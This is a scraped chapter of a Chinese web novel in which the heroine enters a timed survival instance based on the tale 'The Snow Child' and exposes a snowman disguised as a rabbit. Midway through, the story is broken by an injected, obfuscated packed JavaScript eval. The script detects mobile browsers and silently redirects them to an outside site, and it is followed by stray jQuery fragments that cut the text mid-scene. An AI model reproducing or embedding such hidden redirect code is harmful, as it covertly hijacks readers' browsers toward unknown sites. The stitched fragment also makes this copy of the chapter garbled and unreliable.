3. 第六日 雪孩子一
作品:《跨年夜全城封禁[无限]》 靴底深深陷入及膝的积雪中,发出“嘎吱”的闷响。
时亦砜在一片刺骨的寒冷中,一点点睁开眼睛。
视野在一瞬间有些模糊,她努力眨了眨,无边无际的、毫无杂质的雪原反射的强光,像是往眼睛里钉入一根又一根粗针,将眼球刺得有些生疼。
她本能地闭上眼,又强迫自己睁开,反复几次,眼球才在酸涩与刺痛中勉强聚焦。
第一时间在空中划出居民面板,时亦砜在新解锁的“居民任务”模块里,找到了副本的任务要求。
【副本名称:第六日】
【副本难度:B级】
【副本内容:见副本配套书籍《雪孩子》】
【人数要求:单人副本,禁止任何形式外援】
【限时:十二小时。规定时间内完成任务,奖励生存时长十二小时;超时或失败,判定为违规。】
吸引时亦砜目光的,是接下来一条标红加粗的条款。
【当前剩余生命时长:十一小时五十九分】
数字跳动的刹那,时亦砜仿佛听到了一声极其轻微的、来自虚空深处的“嘀嗒”。
那声音并非来自耳膜,而是直接在她颅腔的骨头上敲了一下。
已经被居民条款坑过一次的时亦砜,脊背上窜起一股游蛇般的寒意,扼住咽喉。
表面上看,和因为篡改了一个数字就判定违规的条款相比,眼前这条明码标价“限时完成”的规则,简直堪称“大度”。
只要能在十二小时内完成任务,就能获得这座“时间围城”里最硬的通货——生存时长。
听起来像一场非常公平的赌局。
可如果……完不成呢?
代价,只是违规吗?
【当前剩余生命时长:十一小时五十九分】
这行字本身,就是最残酷的答案。
这意味着,如果时亦砜无法在规定时间内通关,真的没拿到那十二小时的奖励。
那么,当副本倒计时归零的瞬间,也就是她生命自然耗尽、原地等死的时刻。
【【是否有选拔要求:是。】
【选拔内容:居民需在‘钟表先生’的第一次追捕中成功逃脱,即七分钟内未被捕获。成功者,自动获得进入《第六日》副本资格。】
目光下移,还有一行字体稍小、却同样不容忽视的【新增条例】:
【居民不可擅自篡改‘钟表先生’身上的数字,导致其因‘怀疑表生’而消极怠工,造成严重后果。】
时亦砜面不改色地跳过了最后那句充满拟人化怨念的备注,同时将脑海中那个被她篡改数字后、僵在原地、指针乱颤的滑稽钟表形象强行按了下去。
管它会不会记仇。
“滋……时城应急广播,温馨提醒——”
那个温和得如同春风化雨的机械音,毫无预兆地在她耳边响起。
“副本任务进行期间,如有任何违规行为,将视情节严重程度,自动扣除一小时、三小时……”
声音在这里微妙地停顿。
“……甚至,全部的生存时长。”
耳边响起应急广播温和的提醒,播报内容却如同将人推向冰窟。“扣除”两个字的声调,在冰雪中拉长而扭曲。
就在这时,那句曾出现在居民面板登录界面、仿佛格言般的话语,如同幽灵般从记忆的冰窟里浮了上来:
“时间围城最珍贵的宝藏,即是时间本身。”
此刻听来,这不再是一句充满希望的箴言。它更像是一道冰冷的诅咒,或者一个残酷的真理,正拽着每一个惊慌失措的居民,无可挽回地滑向名为‘时限’的深渊。
几乎所有的规则、所有的提示、所有的生存界面,都在用最冰冷的方式,嘶吼着同一个事实:
快。
更快。
没有退路,没有怜悯。
哪怕,仅仅只是为了……活下去。
时亦砜迅速探向口袋,精准地摸出了那本从图书馆里“意外”落入她手中的旧书,打开带着冰雪味道的扉页。
“最近,居住在时间围城里的兔子妈妈,遇到了一件烦心事。”
“在只身一人冲向火海后,小兔子的好朋友——雪孩子,突然失踪了。”
雪孩子?
这个词像一把钥匙,瞬间拧开了记忆的锁。
这是小学语文课本上,那个名为《雪孩子》的童话故事。
大概意思是,因为担心小兔子在家孤单,外出找萝卜的兔子妈妈,给小兔子堆了一个雪人当好朋友,它们一起度过了快乐的时光。
后来小兔子在烤火的时候,不小心引燃了木屋,雪孩子为了保护小兔子,冲进火海救出对方,自己却因为高温而融化,变成天上的云朵。
“咔哒……噼啪……”
耳边仿佛隐约传来了木柴被点燃、火焰舔舐木料时发出的细微爆裂声,带着一种不祥的温热幻觉。
不知道是不是时亦砜的错觉,自从进入这个新场景以来,随着时间流逝,一种难以言喻的、逐渐加深的虚弱感,正如同冰层下的暗流,无声地侵蚀着她。
它从脚底一点点爬升。每一次将脚从深厚的积雪中拔出,所需的力气仿佛都比上一次多耗费一分。
时亦砜凝视着自己呼出的白气——它们消散的速度,似乎比她记忆中的雪天,快了一丝。
仿佛被某种无形的力量迫不及待地攫取、抹去。
是太冷了吗?
是心理作用吗?
还是……“时间”本身,已经从她的每一次呼吸、每一次心跳中,悄悄抽走些什么呢?
时亦砜紧了紧外衣,强迫自己从鲜红的生存时长上收回目光,重新聚焦于眼前的副本任务。
时亦砜稳住心神,继续阅读下去:
“因为思念好朋友,小兔子日夜守着雪孩子留给她的‘礼物’,不吃不喝,日渐憔悴。”
“你,作为一位‘从天而降’的大侦探,今日接受了兔子妈妈焦急的委托,决心找到失踪的雪孩子,慰藉小兔子破碎的心。”
在时亦砜上小学的时候,她就好奇过,小兔子该如何接受,雪孩子以那种方式“离开”的事实?
没想到,副本也是直接让她来给突然离开的雪孩子善后了。
时亦砜轻轻吐了口气,将故事书塞进厚厚的口袋。
她转过身,一座灰扑扑的、却在周遭无边雪原中显得格外突兀的木屋,赫然撞入视野。
它静静地伫立在那里,像是被某种无形的、小心翼翼的力量守护着,与整个冰冷世界隔开了一层微弱的暖意。
时亦砜绕着木屋观察了一圈。
兔子一家的房屋很是低矮,从修了又修、新旧木板交织的栅栏就能看出,这处住所已颇有些年岁。但每一处破损都被更坚实的木材仔细加固,窗户缝隙与门沿也严实地塞着打了补丁的厚麻布,竭力将风雪拒之门外。
破败,却透着一股被精心维护的、顽强的生命力。
“咚、咚。”
用手肘顶开带着木刺的栅栏,为了那鲜红的倒计时能加长一会,时亦砜迈着好奇而作死的步伐,艰难地从几乎没及小腿的厚雪中一次次拔腿,终于挪到木屋门前。
“你好,我是时城……咳,我是动物侦探社新来的侦探,受托来了解一下情况。”
时亦砜扯着算不得谎话的谎话。
她注意到自己的掌心下方,门把手处有几道新鲜的、细密的抓痕,痕迹凌乱,像是被什么小型动物在极度惊慌或痛苦中,用爪子反复刨抓所留。
门,从里面被推开了一条窄缝。
一只覆盖着厚实白毛的爪子率先扒住了门缝边缘,紧接着,另一只爪子悄无声息地、试探般地从缝隙中伸出,悬在半空。
露在外面的两只爪子微微颤抖着,似乎支撑得有些勉强。时亦砜目测了一下爪子距地面的高度——大约是一只成年兔子后腿站立、竭力扒着门缝所能达到的高度。
这伸出的爪子……是在模仿人类,表示“握手欢迎”吗?
寒风中,兔子的那只手有些瑟缩,但还是执拗地冲她伸手。
时亦砜震惊了。
不愧是童话故事里的兔子,居然如此懂得人类的礼节。
“你好,是要请我进去吗?这多不好意思。”
话是这么说,时亦砜一点都不害臊地蹲下身子,握了一下对方的爪子,正想进门。
“你别让她进来!”
一个呼哧带喘、近乎破音的尖利吼声,猛地从门缝后炸开!
在时亦砜的靴尖即将踏入屋内的最后一刹,一股远非兔子所能拥有的、蛮横的力量,一把将那只白兔子狠狠扯到一旁,紧接着便以惊人的力道,要将门扉死死关上!
时亦砜才不惯着它。
她几乎在吼声响起的瞬间做出反应,右脚闪电般向前一顶,坚硬的靴头精准卡进即将闭合的门缝。
“嘎吱——”
皮革与粗糙木料剧烈摩擦,发出令人牙酸的声响。
借着这一阻的间隙,她肩膀下沉,手肘运力,向前猛地一撞。
“砰!”
门,被她利落地、甚至带着一丝不容置疑的强硬,彻底推开。
“……你来迟了,大侦探。”
一个低沉、疲惫、带着粗重喘息的声音响起。
时亦砜适应了一下屋内昏暗的光线。狭小的房间没有生火,冷得像冰窖。一只体型几乎与成年人相仿、皮毛厚重却脏乱不堪的巨大兔子,正低垂着头,颓然地坐在屋内唯一一把吱呀作响的破木凳上。
时亦砜注意到这间灰扑扑房间的唯一亮色,是大兔子身旁桌子上的一只钟表。
看到大兔子的头颅有意无意地偏向那个方向,时亦砜也开始有意打量。
那是一枚失去外壳的、看起来格外眼熟的红色旧钟表。
——居然是林老板在她进入“第六日”副本之前,送给她作为礼物的钟表。
时亦砜的瞳孔几不可察地收缩了一下。她压下心头的惊涛骇浪,面色如常地移开目光,开始冷静地审视屋内的“居民”。
而刚才试图拉她进来的,是那只被甩到门边的白兔子。
它的体型与寻常家兔无异,毛色暗淡,却系着一条洗得发白但干净的围巾,穿着一件略显宽大的碎花旧衣服。
此刻,它正瑟缩在门边的阴影里,一双红宝石般的眼睛,盛满了安静而怯懦的光芒,小心翼翼地打量着时亦砜这位不速之客。</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955399|193113||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
时亦砜开始检查屋内的陈设。
一个简陋的、半人高的木桌上摆着一颗啃了一半的白菜,几串风干的蘑菇干挂在墙上。
地面的几块木板明显松动,缝隙间渗出一股混杂着泥土与某种植物缓慢腐败的、并不好闻的沉闷气息。
那下面,大概就是储存过冬食物的地窖。
地板旁边放着一个炭火熄灭了的炉子,上面架着一口不大的锅。锅里,冷水浸泡着未能泡发的干瘪蘑菇,一些粉末状的调料如同冻僵的灰尘,凝结在表面,无法化开。
整锅“蘑菇汤”早已冻结成一块灰白相间、死气沉沉的冰坨。
时亦砜甚至产生了一种荒诞的想象:如果兔子真把这锅“汤”灌进肚子,恐怕会从内脏开始冻结,肚子被蘑菇汤凝成的冰块撑得鼓起。
她若有所思地望向那被麻布和木板堵得密不透风的窗户。
明明是保暖措施做的这么严密的房间……
怎么被兔子一家当成了冰窖?
这两只“兔子”……不冷吗?
“妈妈,你告诉她。那只体型庞大的兔子声音沉闷,带着一种不容置疑的、近乎命令的口吻,“就说我的朋友已经找到了,委托可以结束了。”
兔子妈妈的身体几不可察地僵了一下。
它看了看“小兔子”,耳朵却下意识转向了时亦砜的方向,而非大兔子。
瞎说。
时亦砜若有所思地瞅了瞅她,瞅着这只浑身上下的皮毛都开始脏成一簇一簇的兔子,对其说辞一个字也不信。
要是真那么容易找到了,副本干嘛大费周章把她“绑”来当侦探?
“沙沙。”
一阵细微的皮毛摩擦声响起,时亦砜眼睁睁看着毛茸茸的兔妈妈猛地起身,露出四条有它自己半个身高长的腿,“嗒嗒”地走到时亦砜身边,蹭了蹭她。
看着那比例惊人、显然是适应极地奔跑的长腿,时亦砜嘴角不受控制地抽动了一下。
兔子一家是……北极兔?
好合理的副本设定啊。
也是,都整天在雪地里过日子了,不是北极兔是什么。
“哦?找到了?” 时亦砜从兔妈妈那有些莫名的亲昵中收回心神,缓缓蹲下身,让自己的视线与坐在凳子上的“大兔子”齐平。她目光平静却极具穿透力,直勾勾地锁定对方那双躲闪的空洞眼睛。
“那正好,” 她语气轻松,甚至带着点“如释重负”。
“把你那位‘已经找到’的朋友领出来,给我瞧瞧吧。我大老远来这一趟,也挺不容易的。”
时亦砜低下头,直勾勾地盯住这个自称是“小兔子“本兔的大兔子,看着它那原本就有些佝偻的脊背,因她的话而绷得更紧;看着对方的重心一点点前倾、隐约透露出不安的坐姿。
“为了赶到这里,我天不亮就起床,跋山涉水,勇攀世界之巅!路上怪兽追着我跑,被我反手撂倒;大雪封路,我举着火把开路,差点冻成冰雕……”
时亦砜一边声情并茂、添油加醋地“诉苦”,一边极其自然地挪向那个早已冰冷的炉子,假意伸手取暖。她呼出的白气在冰冷的空气中凝成一小团一小团的雾,飘飘悠悠,朝着那只‘大兔子’的方向荡去。
时亦砜注意到,对方几乎是下意识地、微不可查地将身体向后缩了缩,那动作轻微得如同被风吹动的草叶,却清晰地流露出一种对那点微弱热气的、近乎本能的排斥与回避。
仿佛那不是温暖,而是灼人的火星或腐蚀性的酸液。
“……你当真吗?”
在时亦砜愈发“慷慨激昂”的演讲中,大兔子越来越沉默,最后只挤出这么干巴巴的一句。
时亦砜脸不红心不跳。
“当真啊,不信你问问家里长辈,他们当年上学,也是我这么个条件。”
大兔子无奈地用爪子扶住额头,脑袋几乎要埋进自己厚重的胸毛里,却依然死死咬着牙关,不肯松口。
伴随着时亦砜的再次靠近,它下意识地将自己蜷缩得更紧,厚实的皮毛层层堆叠,仿佛想筑起一道隔绝人类气息与体温的壁垒。
“这可不行。雪孩子她……怕生。我……”
话音未落。
“咔嚓。”
一声极其轻微、却清晰得令人心悸的脆响,如同冰面裂开第一道缝隙。
在大兔子无法收缩的瞳孔中,时亦砜手中的钥匙尖,挑开了一道缝隙。
没有预想中温热的血肉,也没有蓬松的绒毛。
只有寒意,一点点渗出。
裂口之下,暴露出的是一片晶莹剔透、正在微微沁出细小水珠的、紧实堆积的冰雪。两颗黑漆漆的、毫无光泽的纽扣,深深地嵌在那片冰雪之中,此刻正直勾勾地“瞪”着时亦砜,映出她同样没什么表情的脸庞。
一股混合着松针与陈年冰雪的、干净又孤独的寒气,从缝隙中扑面而来,吹冷了时亦砜额前的碎发。
时亦砜眨了眨眼睛,目光平静地掠过那裂口,最终落在雪人那张因震惊而无法合拢的“嘴巴”上。
“那不如我们先谈谈,小兔子到底去哪里了吧。”
“这位,披着兔皮的……”
“……雪、人、朋、友。”

